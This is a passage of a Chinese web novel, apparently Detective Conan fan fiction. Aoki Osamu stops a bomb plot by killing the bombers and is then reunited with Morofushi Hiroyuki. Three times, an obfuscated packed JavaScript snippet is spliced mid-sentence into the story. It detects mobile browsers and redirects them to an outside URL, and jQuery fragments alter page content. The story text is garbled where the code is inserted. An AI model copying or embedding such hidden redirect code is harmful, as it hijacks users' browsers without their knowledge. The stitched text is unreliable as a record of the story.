虽然现在还不清楚青木修的身上到底还有什么秘密,但只要把人盯住,他总归是跑不掉的。 “小阵平,冷静一点啦。” 萩原研二及时拉住有些激动的松田阵平。 “对了班长,小阵平说他听传闻,外狩一死在监狱里了是吗?” 这事儿伊达航知道一些内情,闻言点点头。 “是啊,年初才体检没有健康问题的人就这么突发心疾死了。” 伊达航的神情也冷了下来,“不过和放出来的消息不一样,外狩一没有当场死亡。” 萩原研二眼睛一亮,也就是说,外狩一有可能留下遗言! 伊达航证实了他的猜测,“外狩一留下了一段遗言。” “是什么?” 伊达航并没有立即解答松田阵平的问题,反而倒过来问了他们一句话,“你们还记得,之前的猜测吗?” 他比划了一个向上的手势。 两人立刻明白过来他指的是什么。 “记得。” 想到外狩一断气前的话,伊达航也不由得深吸一口气。 “他说,诸伏夫妇的死另有内情,是他们看到了不该看到的人,这才给自己招来了杀身之祸。” “也就是说,诸伏夫妇的死其实是有人在暗中操控?” “是啊,当初我们都以为是意外,但是现在看来,真相似乎没有那么简单。” 伊达航想到什么,“你们说,青木修这个人既然认识景光,会不会知道一些景光的事情?” 这个问题把两人问懵了。 “不知道……” 他们一开始压根不知道青木修和诸伏景光竟然会认识,其他的话是一点也没有多问。 “我有一种直觉。” 伊达航不知从哪里摸出一根牙签叼在嘴里,“景光父母的死或许和我们怀疑的事情有关系。” 松田阵平赞同他的猜测,“我也这么觉得,而且再大胆一点的猜一下——” 萩原研二单是看他的眼神就知道自己的幼驯染在想什么,想也不想地接过松田阵平的话: “青木修就和那件事有关系,而且景光和小降谷也涉身其中。” 既然青木修已经跑到了他们面前,几人自然不可能放过这么好的机会,凑在一起很快想出了一个试探青木修的方法来。 42.第 42 章 在萩原研二和松田阵平的有意安排下,青木修“意外”听到了他们俩有关诸伏景光的一段对话。 “景光父母的那个案子……对,有蹊跷,似乎和一股势力有关系。” 松田阵平背对着门,故意让青木修看不到自己的表情,他则是通过萩原研二的暗示调整说话的内容。 “诸伏夫妇的死?听说长野那边的调查要重启是吗?” 萩原研二用余光看着门边投下来的阴影,意有所指的引导松田阵平。 “对,班长说案子要重启调查,当初他们的死不是凶手随机杀人,根据翻供来看,应该是买凶杀人。” 青木修站在包间门外,听见里面两人的对话,觉得自己浑身的血液都凉透了。 一开始他并没有把两位警官的话听完全,只是隐隐约约听见“诸伏夫妇”,“长野”,“重启调查”几个模糊的词语。 这几个词把他记忆中一段遥远的记忆牵扯了出来。 他忽然想起,在他年幼时误打误撞被放出实验室的那一次,遇到的两位老师就是姓诸伏。 青木修的心跳乱了一拍,他蹑手蹑脚走到包间门边,侧过耳朵想要听得更清楚一些。 接着,他就听见了刚刚的那段对话。 前几天他们三人小聚时,萩原研二喝多了,无意中提起诸伏景光,他就已经知道了他们俩和诸伏景光认识。 今天把这段话一听,他还有什么不明白呢? 青木修咬紧下唇努力不让自己发出声音,双手握拳,指甲掐进了肉里也没有感觉。 他早该联想到的……他早该想到的…… 他浑身剧烈颤抖,呼吸声愈发粗重。 当初那对撞见他的夫妇姓“诸伏”,尤其是那位女士微微上挑的猫眼,诸伏景光简直和她一模一样! 如果不是场景不合适,青木修几乎要站不住跪在地上。 诸伏景光说的没错…… 青木修感到胸腔上像是被压了千百斤的巨石,呼吸越来越困难,几乎不能从周围的空气里摄取到氧气。 “我们本就是宿敌……” 他低声喃喃自语,一副失魂落魄的模样。 他忽然很想哭,为什么命运要如此捉弄人,要把他们俩放在一个从一开始就不会有好结果的位置上? 这是青木修第一次对“命运”有憎恨之意。 “……哎?话说青木怎么还没来?” 在包间里的松田阵平话说到一半忽然变了话头。 萩原研二低头看看表,“要不我出去看看?” 他说着就往外走,就站在包间门后的青木修听到越来越近的脚步声连忙回神,低头胡乱抹了把脸,竭力挤出一个还算得体的微笑,从门后走出来。 “松田,萩原,我来了。” “我还以为你找不到地方呢,正准备出来找你。” 萩原研二适时的停下脚步,像是刚刚什么都没发生似的伸手把青木修捞进屋。 “青木快来!” 松田阵平看着青木修苍白毫无血色的脸,眼中闪过一道暗芒。 “最近总是你们请我出来吃饭,还真是有点不好意思。” 青木修挠挠头,他这句话是真话,这段时间这俩警官总是打着各种旗号把他叫出来,也不知道是想干什么,偏偏他又找不到什么合适的理由拒绝。 “也没什么,”萩原研二爽朗一笑,一只手自然而然搭上青木修的肩膀,“看见你我们就觉得眼熟,特别想我们以前的一个朋友。” “谁啊?” 青木修只是随口一接,也没指望他俩能给自己解惑。 “很久没有见过啦,”松田阵平从椅子上起来,搭上青木修的另一边肩膀,“就是上次hagi提起的景光啦。” “……” 青木修失语,把手搭在他身上的两人很敏锐的察觉到手掌下的肌肉有一瞬间的紧绷。 这一点无疑是从侧面印证了青木修一定和诸伏景光认识。 不过两人害怕打草惊蛇,便没有戳破青木修的不自然。 “倒也不是说你俩长得像,而是给人的感觉很像。” 松田阵平尝试着形容这种感觉,奈何受到语言能力的限制,半天无果后只得作罢。 “总之,你俩的气质就是很像啦!” 青木修觉得自己脸上的笑容几乎要挂不住了。 他用尽全力保持着脸上的表情,不着痕迹把两名警察的手从自己的肩膀上拍下去。 “那还真是巧合呢。” “是啊是啊,”萩原研二没打算把这个话头撂过去,“你说,要是等哪天见到他了,应该介绍你俩认识认识。” 松田阵平把话接过去,故意打趣道:“hagi你别说,青木和他那家伙这么像,指不定早就见过了呢!” 青木修觉得自己要坐不住了,他双手扣在椅子两边,用力把自己固定在屁股下的凳子上,以防自己下一秒就要坐不住蹿出去。 幸好两人也没打算把他逼得太紧,见好就收,青木修这才松了口气。 回到出租屋,青木修一直回想着自己当初在制药公司见到的那对夫妇。 他艰难地把两人已经有些模糊的面容一点点恢复,却痛苦地发现越是回忆,两人的五官就越是和诸伏景光相似。 “啊——!” 头痛毫无征兆的发作,青木修浑身一哆嗦,抱着头撕心裂肺地低吼一声,跪倒在地。 不知过去多久,也不知道自己究竟是昏倒还是睡着,他就这么贴着墙根没了动静。 唯有一滴泪在昏暗的室灯下莹莹发光。 从混沌中醒来已是第二天晚上,青木修晃了晃昏沉的脑袋,低头摸索出手机,看着屏幕上显示的来电。 是他工作的酒吧负责人打来的。 连续两天旷工,又打不通他的电话,负责人很是不客气的直接发短信告知他被解雇了。 “……” 看着解雇短信,青木修并没有什么情绪波动,甚至是有些漠然地把手机收好。 该重新找一份工作了。 他平静地想。 只是现在想在地下酒吧找到一份侍应生的工作并不容易,为了先度过这个找工作的尴尬期,青木修找到一家黑中介接了私活。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176974|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你只要把这两个行李按照上面的地址准时送到就可以了。” 雇主递给青木修一张小纸条,上面写着两处公寓的地址。 这份工作的报酬异常丰厚,不过青木修也顾不得那么多,他需要钱来支付这个月的房租。 没有多想,他便一口答应下来。 两天后的凌晨时分,青木修依照约定前往一处仓库,将两个大件包裹送到指定的位置。 送货地点距离他的住处很远,还没等他回到自己的出租屋,就现在手机上看得到了清早的新闻头条。 《神秘炸弹客向警方索要巨额赎金》 这个标题怎么看都不像是什么好消息。 在这里待了快小半年,青木修都已经适应了这里有些离谱的犯罪率。 本着“事不关己高高挂起”的心理,他正打算收起手机回家补觉,手指却误触到了直播选项。 “我们跟随着警方……” 一个一闪而过的人忽然引起了青木修的注意,他连忙把手机掏出来,定睛一看,穿着防爆服在行动车里布置任务的人不是萩原研二是谁?! “观众朋友们,我们即将抵达案发现场……” 女记者说出的地址有些耳熟。 青木修拿出兜里的小纸条一看,刚刚女记者说的地址不正是自己夜里送货的两处地址吗?! 一种不好的预感涌上心头,他赶忙调转方向,重新向自己送货的方向赶去。 天下就是有这么巧合的事情,自己送的两个包裹居然会是随时都能要人命的炸弹! 比起警方,现在可以说没有人比他更熟悉两个炸弹在什么地方了。 青木修一边赶路一边给松田阵平打电话。 也不知道是穿着防爆服还是因为现在是工作时间,青木修把两人的电话来回打了好几遍也没有人接听。 一个念头闪过,他忽然刹住脚。 他联系不上萩原研二和松田阵平,但是他可以联系给他下任务的雇主啊! 想到自己少掉的四分之一工资,他觉得这伙炸弹客可能也不会如约按照警方的要求,拿到钱就解除炸弹。 青木修其实完全可以不用管这件事,老老实实做好一个普通小市民就行。 但是想到他俩提起诸伏景光时熟稔的语气,想来以前和诸伏景光一定是很好的朋友吧。 他忽然有一点点嫉妒诸伏景光,拥有这么好的朋友可以陪伴自己度过每一个低谷时期。 事不宜迟,他拿起手机联系上雇主。 “你好,当初明明是你们请我帮忙送货的!但是你们这样子克扣工资还让人怎么生活?” 他的态度异常强硬,“我已经知道你们让我送的东西是什么,如果不把剩下的钱给我,我现在就去警察那里举报你们!” 雇主听起来像是服了软,在电话里连连称是,给了个地址又要求青木修亲自过去一趟,取回剩下的四分之一工资。 “老大,我们就这样把钱给他?” 被称作“老大”的男人放下手机,面色阴鹜。 “只要他敢来,我们就让他有去无回!” 43.第 43 章 青木修也并非是毫无准备空手前来。 他早就习惯凡事都做最坏的打算,自然也不会把这几个人的话当真放在心上。 雇主给他的位置不算太远,他独自一人步行前往约定的地点。 是一处偏僻的小楼。 青木修晃了晃手臂,确保匕首已经固定好,才推开已经生锈的外门,悄声上楼。 “有人吗?” 一路上静悄悄的,必定有妖。 青木修敛眸,寻到房子玄关处,敲了敲木格挡。 “来了啊,这就把钱给你。” 青木修侧耳倾听,辨认出客厅里坐着不止一个人。 他在心中暗喜,这样最好,免得他还要想办法一个个去找那些同伙。 转过玄关,客厅里大马金刀地坐着三个人,其中两个正盯着一台电脑不知在捣鼓什么,另一个一手拿着一个纸包,一手插在皮衣里。 只需要一眼,青木修便认出来他皮衣之下藏着一把手枪。 “谢谢。” 青木修装作什么都没有发现的模样,镇定自若地上前,准备从他手中拿过纸包。 “唉,等等。” 就在青木修指尖即将触碰到纸包的前一秒,那人忽然反悔似的移开手,“你可是要信守承诺,什么也不说的啊。” 青木修直接从他手里抢过纸包,一副“你在说什么”的表情,“我什么都不知道。” “哈哈哈……” 为首这人很是畅快的大笑起来,“很好,是个识相的。” 随即这笑容就在青木修转身的刹那阴冷下去。 他从皮衣下摸出枪,对准青木修的后心。眼中满是不屑。 可惜了,原以为是个狠角色,没想到却是一个只知道要钱的白痴。 这样也好,只有死人才会保守秘密。 他手指微微收紧,即将扣动扳机。 然而下一秒,他只来得及觉得人中一凉,接着没了知觉。 原本已经转过身的青木修不知何时重新面向他,藏在袖子里的匕首正插在他的人中位置,若是有懂行的人在场,就能发现青木修这一刀直通脑干,当场让人没了任何还手之力。 还在捣鼓电脑的两人被这一幕惊呆了,他们谁都没有把青木修放在心上过,也就没人会想到,青木修出手如电,转瞬间就能了结一人性命。 见青木修这副气定神闲的样子,恐怕在这一方面比他们还要算老手。 “怎么?” 青木修不慌不忙把纸包放进衣兜,这笔钱可关乎到他下个月的房租,千万不能出差错。 “你们也要来试试吗?” 此时此刻坐在电脑前的两人才仿佛如梦初醒般去摸枪,但是他们又怎么比得过青木修? 后者以迅雷不及掩耳之速重新抄起匕首,飞身上前,一刀便抹了两个人的脖子。 “呼……” 做完这一切,青木修微微有些气喘。他的身体已经大不如前,这点动作都能让他感到疲累,不过现场没什么需要他收拾的,从两人脖颈处飞溅的鲜血他也全部躲开,没有一滴血落到他身上。 这一路上他都避着监控,只需要把来时留下的脚印抹掉便再没有后顾之忧。 做完这一切,青木修鬼使神差间侧过头,看了还没关掉的电脑一眼。 电脑正连着两处现场的直播,一左一右两个画面占据了不大的屏幕。 “警方已经稳住嫌犯,现已安全将两处炸弹拆除。” 青木修嘴角浮现一抹笑意。 看来两位警官已经安全了。 他最后环视一圈这间屋子,确认没有遗漏之后悄无声息地离开现场,就如他来时的那样。 没过两天,松田阵平和萩原研二又一次找借口把他约了出来。 这一次青木修没有推脱,而是直接赴约。 三个人围坐在一起,小口喝着酒。 “前两天我在电视上看到你们了。” 青木修主动打开话题。 “哎,是吗?那个时候你居然在看电视?” 青木修无奈耸肩,“没办法啊,谁让我现在是无业游民呢?” “那你还不赶紧找工作?小心下个月没钱交房租。” 已经提前交了房租钱的青木修:……真是没由来的心虚呢。 “已经找到了,”青木修连忙喝了一口酒来掩饰自己的心虚,“话说那天还真是惊险。” 萩原研二和松田阵平不知道背后的真相,一副对此早就习以为常的样子,“惊险吗?还好啦,日常而已。” 和松田阵平不同,萩原研二倒是多想了一点,“说起来倒是有一点奇怪,”他向青木修透露了一点与新闻报道中不同的内情,“不是我们稳住了嫌犯,而是嫌犯自己消失了。” “嫌犯自己消失了?” 青木修流露出恰到好处的惊讶,“还有这种事?” “很不可思议吧?”松田阵平抓抓自己的卷毛,“也不知道他们是怎么想的。” “也许是他们良心发现了呢?” 两人只当青木修开了个玩笑,谁也没有放在心上,只是笑着把这个不方便透露太多的案子岔过去。 “你不是说找到工作了吗?不会又是地下酒馆的酒保吧?” “不然还能做什么呢?” 青木修很是无奈的指指自己的脸,然后双手合十恳求道:“还请两位警官高抬贵手,不要把我工作的地方抄了。” “哈哈哈放心啦青木!” 松田阵平一把捞住青木修的的肩膀,自顾自和他碰了个杯。 青木修还没来得及笑出来,就听见他下一句话: “就算要抄家也轮不到我们爆处班上啊!” “……” 看着青木修满脸黑线的表情,萩原研二也没忍住大笑出声。 “青木你很少有这么生动的表情啊哈哈哈哈哈……” 青木修有些无奈地看着两个自顾自笑成一团,连腰都直不起来的警官,最终也跟着笑出了声。 萩原研二说的没错,他已经很久没有拥有过如此肆意的情感了。 不得不说这两个人怎么会成为诸伏景光的好友呢?都一样拥有让人快乐的能力。 酒过三巡,三人都有了些许醉意,今晚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192178|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小聚到此结束。 青木修送两人上了计程车,独自一人悠悠往回走。 今晚他过得很开心,不仅仅是因为看见诸伏景光的两名好友安然无事,更因为他从萩原研二和松田阵平的身上看出了一点昔日诸伏景光的影子。 他会答应赴两人的邀约,也有这两人能时长让他想起诸伏景光的原因在里面。 只有时时想起诸伏景光,他才能在后遗症发作昏厥后及时清醒过来,记住自己的身份,记住自己回来的目的。 回来的这半年多,他从未放弃过打听诸伏景光的行踪。 只可惜他现在不能暴露自己的身份和行踪,这座城市又太大了,让他的寻人进度一度受阻。 他一开始也想过找到诸伏景光之后要和对方说什么话,拿什么态度来对待他,但在知晓自己和诸伏家的渊源之后青木修忽然没了寻找诸伏景光的勇气。 他甚至开始想,就这样隐姓埋名的生活下去也不错,只要和松田阵平,萩原研二两人保持好关系,他总有一天会再次得到诸伏景光的消息。 等到确认他平安之后,自己就可以彻底离开了。 经过这么长时间的磨砺,青木修的想法相比于一开始也有了变化。 或许比起两个人一定要在一起,能知道自己喜欢的人平安也不是一件坏事。 他很坦然的想,只要能确定诸伏景光平安无恙,哪怕是这辈子再也见不到他也没有关系。 抱着这样的想法,青木修很快开始了打工的新生活。 这家地下酒吧提供的侍者服几乎让整个上半身都裸露着,只有一条领带能起到一点可有可无的作用。 他一开始也非常不习惯,但是人在屋檐下不得不低头,为了那点能让自己生存下去的工资,青木修不得不捏着鼻子强迫自己去习惯这套怪异至极的衣服。 唯一称得上好处的事情就是这家酒吧会为服务生提供一张面具,正好能遮住青木修有伤疤的半张脸,这为他省去了不少解释的功夫。 毕竟他没什么一夜暴富的心思,绝大多数时间都是躲在角落安安静静做事,很难引起什么顾客的注意。 当然,难免有遇上荤素不忌的客人,这也没什么好担忧的,他只需要摘掉面具,百分之九十九的人都会自己离开,劝退剩下的百分之一也不过是动动嘴皮子的事。 总而言之,不算上他因为拒绝客人以至于给店里带来损失,继而被主管多次训斥的不愉快,这里的工作还是相当舒心。 昼伏夜出,不用和太多人打交道,同事之间也不需要有太多的交流,无论怎么看都让青木修相当满意。 更何况,这里的老板允许他偶尔请假,这对于后遗症发作越来越频繁的青木修来说无疑是一个好消息。 久而久之,他几乎有几份真情实感的要爱上这份工作了。 虽然工作内容日复一日,但是它稳定,平静。 要说有什么变动的话,就是店里的驻唱贝斯手似乎和主管闹了点不愉快,辞职走人了。 青木修并没有把这一点小插曲放在心上,至于什么时候再招一位新的贝斯手,也不是他应该操心的事情。 44.第 44 章 三年的光阴在两人的对视中悄然划过。 青木修被诸伏景光死死摁在墙上动弹不得。 他不受控制的发着抖,一张一合的唇瓣触及诸伏景光的掌心,挠得后者手心发痒。 “苏格兰……” 两人对视良久,青木修渐渐红了眼,在诸伏景光的掌下呜咽出声。 “青木修……”诸伏景光没想到两人会在这种地方重逢,显然也没有做好准备,一时间不知道该说些什么。 “你回来了。” “我回来了。” 半晌过去,俩人同时出声道。 诸伏景光缓缓松开捂住青木修嘴巴的手。 青木修的眉目逐渐舒展开,上前一步抱住诸伏景光。 “你没事……真好。” 诸伏景光眨眨眼睛,后知后觉地回抱住青木修。 “我怎么会有事呢?” “赤井秀一把你的事情都告诉我了……你这段时间的任务都很危险……” 青木修抱住诸伏景光的双臂渐渐收紧,不小心勒住诸伏景光还没完全恢复的肋骨。 “嘶……” 诸伏景光轻轻倒抽一口凉气,青木修敏锐的发现了他的僵硬。 “怎么了?哪里不舒服吗?” “没事。” 诸伏景光不愿让青木修担心,含糊道:“只是一点小伤还没长好而已。” “真的吗?” 青木修有些狐疑地看着他。 “真的!” 诸伏景光生怕他不相信,大力拍了拍胸脯证明自己没事。 “倒是你,”他看着青木修脸上刺眼的伤疤,手掌轻轻覆上去,摸索着凹凸不平的增生,“当时……疼吗?” “早就不疼了。” 青木修笑道。 “早就不疼了”,诸伏景光在心里咀嚼这句话,看来当时还是很疼的。 他没忘记,青木修其实有些怕疼。 “赤井秀一只告诉我说你回来了,一直也没有你的消息,怎么样?这段时间还好吗?” 青木修不想把这段时间经历的苦难告诉他,只是笑着一笔带过,“一切都还不错。” 他想了想,本打算把认识了萩原研二和松田阵平的事情告诉诸伏景光,但转念一想,直接把这件事说出来很有可能会让诸伏景光知道自己和他父母的死有关系,就打消了这个念头。 面对诸伏景光,他总是有些心虚。 “景光,”这是青木修第一次叫诸伏景光的本名,“见到你我很开心,再见。” 能顺利见到平安无事的诸伏景光,青木修已经知足了,他告别诸伏景光,错开一步准备回家。 诸伏景光却误解了他的意思,闻言冲上前一步抓住青木修的手腕。 “等等!” 诸伏景光以为青木修还在记恨自己利用他的感情的事情。 “等一等!” 他再次叫住青木修。 后者本就无法拒绝诸伏景光的任何要求,更不用说对方还用这种恳求的眼神看着他。 “怎么了?” 青木修停下脚步,侧过身看向诸伏景光。 “你现在住在哪里?……我的意思是……” 话到嘴边,诸伏景光却有些说不出口。 对上青木修柔和的目光,诸伏景光一咬牙一狠心,“我的意思是……对不起,当初不应该利用你的感情……” 他不说这件事青木修都几乎要把它忘记了,听见他这么说看起来也没有什么巨大的反应。 “我不怪你。” 青木修仍旧笑着,心底实际上已经掀起了惊涛骇浪。 如果不是诸伏景光一直拉着他,他恐怕现在已经要转身逃跑了。 为什么要重新提起这件事呢? 他几乎要绷不住脸上的笑容了。 青木修不明白诸伏景光为什么要重提这件事,他根本没有怪过诸伏景光,反过来,应该是他欠诸伏景光更多才对。 如果没有他,诸伏夫妇就不会死,诸伏景光可能也会就此过上不一样的人生,甚至能从根本上避免诸伏景光来从事这么危险的工作。 一切的祸根在他身上才是。 青木修眼眶发热,他手上微微用力,想要挣脱开诸伏景光的钳制,转身逃跑。 但是诸伏景光又一次误会了他的意思。 “我是真心向你道歉!” 他两只手拉住青木修。 “当初利用的事情我真的很抱歉!青木修,我不奢求你能原谅我,但至少能不能看看我?你救过我的命!我真的很感谢你!也对当时的事情很抱歉,当初是我有错在先!” 他越是这样说,青木修对他的愧疚就越大一分。 他有什么脸面接受诸伏景光的道歉? “景光,你不明白……” 青木修心中疼痛愈烈,他几乎快要克制不住把真相告知诸伏景光的冲动了。 诸伏景光没有放手。 于公,他知道组织一直没有停止对青木修的搜捕,就这样放他回去无疑是一件很危险的事情,更何况青木修现在也是他们公安的重点观察对象,有很大的希望能够把青木修发展成警方的人。 于私,他实在是克制不住内心深处的悸动,与青木修长期的分别不断扩大着他对对方的思念,如今好不容易和日夜牵挂的人再次相聚,他不想就这样放手,与青木修就这样再一次错过。 “诸伏景光,”青木修叫了他的全名,“你说的没错……” 挣扎良久,青木修终于下定决心,要把事情的真相告诉诸伏景光。 后者心头一跳,直觉青木修接下来要说的准不是什么好话。 “当初,你……呃!” 他正要说话,突然一阵难言的疼痛瞬间侵袭上他的脊椎。 密密麻麻的疼痛顺着脊骨一路向上,爬上他的四肢百骸,最后一路到达他的大脑。 “怎么了?” 诸伏景光目瞪口呆地看着青木修忽然像是被人抽掉了骨头,眨眼间卸了力,双膝一软跪倒在他面前。 疼痛来的毫无征兆,青木修根本来不及回答诸伏景光的疑惑。 他痛苦地在地上缩成一团,手脚紧缩,不受控制的痉挛,面部肌肉也一跳一跳的抽搐着。 “青木修!” 诸伏景光慌了神,上前一步抱住青木修,试图把他扶起来。 “怎么回事?说话!” 青木修耳朵里嗡嗡作响,根本听不清诸伏景光到底在说什么,自然也无法回答他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14197002|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没……事……” 好半天过去,青木修才勉强用气音吐出几个字。 诸伏景光伏在青木修唇边,才艰难地听清他说了什么。 “这叫没事?你在开什么玩笑?!” 眼看着青木修这样子不像是小事,但说出来的话显然不是第一次犯病了。 “我带你去医院。” 诸伏景光半蹲下身,抱起青木修就要往外走。 怀里的人原本还有几两肉,现在完全是一副清瘦模样,抱在怀里甚至还有些硌手。 “别……” 胸口的衣服被青木修揪住,诸伏景光低下头,用力去听青木修到底在说什么。 “别去医院……” 诸伏景光正要反驳,就听青木修接着说: “没用的……” 什么没用?去医院没用? 诸伏景光一时间不知道该拿他怎么办。 “那你说怎么办?” 他又气又急,眼看着青木修脸色惨白如纸,意识都要有些不太清楚了。 “不去医院……” 青木修整个人已经意识不清,但还记得强调千万不能去医院。 一旦去了医院做检查,他身上的秘密可能就藏不住了,到时候不仅可能会引来组织的人,还有可能给诸伏景光带来麻烦。 诸伏景光在原地站了几秒钟,总算是冷静下来一些。 他刚刚也是一时间慌了神病急乱投医,以青木修现在的身份决计不能去医院。 但是他也不可能把青木修扔在这里任他自生自灭。 “青木修?青木修!醒醒!别睡!” 他一边低声叫着青木修的名字,一边大步离开小巷,把青木修往自己家的方向抱。 “送我……回家……” 在诸伏景光的努力下,青木修并没有很快的失去意识,他强行与锥心刺骨的疼痛做着斗争,竭力让自己保持清醒。 “回什么家?” 诸伏景光差点没被青木修这副态度气笑了,就这样子还想着一个人回去?能干什么? “不麻烦你……” 这一次疼痛比以往任何一次都要剧烈,身体的每一个关节都像是有人拿着小刀在骨缝之间切割,头更是疼得像是被人开了天灵盖,拿着一根小棍在大脑里面臼捣。 “唔……” 强烈的疼痛让青木修终于无法忍受,在诸伏景光怀中痛苦的呻吟。 “别咬。” 诸伏景光见他把自己的下唇咬出血,既心疼又无奈自己现在腾不出手,只能温声提醒青木修让他不要再伤害自己。 “马上就到家了,你再坚持一下。” 青木修其实根本判断不出诸伏景光现在到底在往哪儿走,只是听见“要到家了”,下意识觉得安心一些,微微松了松揪着诸伏景光衣服的力道。 “青木修,别睡过去!” 诸伏景光不停地提醒着青木修,担心他失去意识。 但是青木修实在是太痛了,他已经坚持了很久,现在再也坚持不住了。 至少在诸伏景光的怀抱里,他觉得很温暖。 诸伏景光觉得揪着自己衣服的那道力量消失了,低头一看,青木修不知何时已经靠着他的臂弯昏了过去。 45.第 45 章 诸伏景光把青木修带回了自己的家。 出于某些私心,他没有把这件事情上报,也没有告知降谷零。 他轻手轻脚把青木修安置在床上,拿来毛巾沾了热水擦去青木修额头上的冷汗。 “唔……” 似乎是能感觉到自己在一个安心的环境里,青木修微微动了动,发出一声嘤咛。 诸伏景光收拾好东西,坐在床边定定地注视着青木修。 瘦了不少。 原本青木修的身形还只是精瘦,身上带着几两肉,可是如今的他看上去消瘦不少,眉宇间还带着一抹病态。 这段时间都发生了什么? 诸伏景光记得当初还在威士忌小组的时候青木修还没有这些毛病,怎么仅仅是一年不到的时间,他变了这么多? 再联想到赤井秀一那边突然愿意放人回来的态度,直觉告诉诸伏景光,恐怕FBI那边也有麻烦。 能让赤井秀一都头疼,并且不得不冒险把青木修送回来的麻烦,只能与组织有关。 短短几分钟的时间,诸伏景光几乎已经把整个事件的来龙去脉推理清楚。 他不禁皱起眉头,如果组织连FBI都能渗透的话,恐怕就没什么安全的地方了。 他叹息一声,为青木修的处境感到担忧,也想知道和自己分开的这段时间里,青木修的身上都发生了些什么。 不过这些都是急不得的事情,更何况青木修现在已经回到他的身边,有什么想知道的事情都能等青木修醒来之后慢慢再问。 青木修一睁眼便对上诸伏景光的视线。 他还有些懵,以为自己是在做梦,直接一个鲤鱼打挺从床上坐起来,险些撞上诸伏景光的鼻子。 “别急着起来。” 诸伏景光连忙退开一步防止两人真的撞上,又拿了个垫子塞在青木修身后把他摁回床上。 刚上完夜班就遇上诸伏景光,一同拉扯之后压根没来得及吃东西的青木修被自己的一番动作搞得头晕眼花,乖乖顺着诸伏景光的力道坐回床上。 “我……不是在做梦?” 等到眩晕感消失一些,青木修眨眨眼睛,有些不确定地问道。 “你拍拍自己看看疼不疼。” 诸伏景光被他这副样子逗乐了。 青木修又缓了一会儿,看上去清醒许多,也逐渐想起来下班之后在小巷里发生的事情。 “真的是你啊……” 他依然感到不可思议,自己朝思暮想的人就这么活生生的出现在自己面前。 “还没好好问问你呢,”诸伏景光也知道青木修差不多该饿了,及时递上一个提前做好的三明治,“你怎么会在那种地方工作?” 青木修刚咬了一口三明治,闻言愣住,还想在诸伏景光面前装傻,“什么地方?” 诸伏景光没好气地戳戳他鼓起来的脸颊,“为什么要去那种黑酒吧打工?” 他还顺道解释了一下自己出现在那里的原因,“我是因为有一个任务目标经常出现在那里所以才跑去盯梢,你去那儿干什么?” 青木修脸上划过一丝名为“尴尬”的神色。 “我……我没钱了……” 他声如蚊蝇,但诸伏景光还是听清了。 “没钱?” 他没想到青木修的理由竟然这么朴实无华。 “赤井秀一紧急送我回来,急匆匆办了个假身份,很多信息都不完善,找不到什么正经工作。” 青木修声音越说越小,到最后干脆直接低下头去。 “……” 诸伏景光无言,他倒是没想到这一点。 “谢谢你的照顾。” 说话间青木修已经翻身下床,“我先走了。” 诸伏景光也说不清楚自己到底是个什么想法,但身体明显要快过大脑,等他反应过来的时候,自己已经抓住了青木修的手腕。 “还有什么事吗?” 青木修的神情很认真,确实是不打算在他这里多留的样子。 “你……你能不能留下来?” 说完诸伏景光就想打自己的嘴,这都是什么话啊! 但是话已经说出去收不回来了,诸伏景光只能硬着头皮干脆把心里最真切的想法表露出来。 “要不你留在我这里吧,怎么样?” 他其实已经明白自己对青木修到底是什么想法,但是碍于工作和现在自己肩上挑起的责任,他没办法把藏在心底的真正想法说出口,只能不断地找借口,试图让青木修能够留下来。 青木修向来不知道该怎样拒绝诸伏景光的请求。 见他犹豫,诸伏景光立刻加码,“你帮我做饭收拾房间怎么样?就当做你住在我这里的工资。” 犹豫再三,青木修还是点了点头。 归根结底,他舍不得诸伏景光。 说做就做,等到青木修把自己差不多收拾了一遍,诸伏景光就主动提议陪青木修去退租。 房东也不是爱为难人的人,听闻青木修要退租,不仅把押金还给他,还把青木修提前预交的房租退给了他。 拿回押金和三个月房租的青木修整个人肉眼可见的高兴了不少。 诸伏景光后续还有任务,陪他回家之后便出门行动去了,青木修在家里兴奋的闲不下来,上上下下把整间屋子打扫了一圈,出门找酒吧老板辞掉工作,顺道还买了些菜回来。 待诸伏景光晚上回到家,推开门看到的就是青木修趴在桌子上小憩,面前还摆着明显是刚做好不久的晚饭。 他心头一暖,放东西的动作都轻了不少。 这种有人在家里等着他回家的感觉真好。 更令人开心的是,他不仅仅只在今晚享受到了这种待遇,从这之后的每一天,都有人等着他回家。 不知不觉间,诸伏景光也养成了一个习惯,进门之后会小声说一句“我回来了”。 即使他的声音很小,青木修也总是能在第一时间回应他。 这一天,诸伏景光如往常一样推开门。 “我回来了。” 屋子里一片寂静。 “?” 诸伏景光感到有些莫名,进屋一看,客厅的沙发上背对着他坐着一个人。 金毛,首先排除青木修。 “zero?” 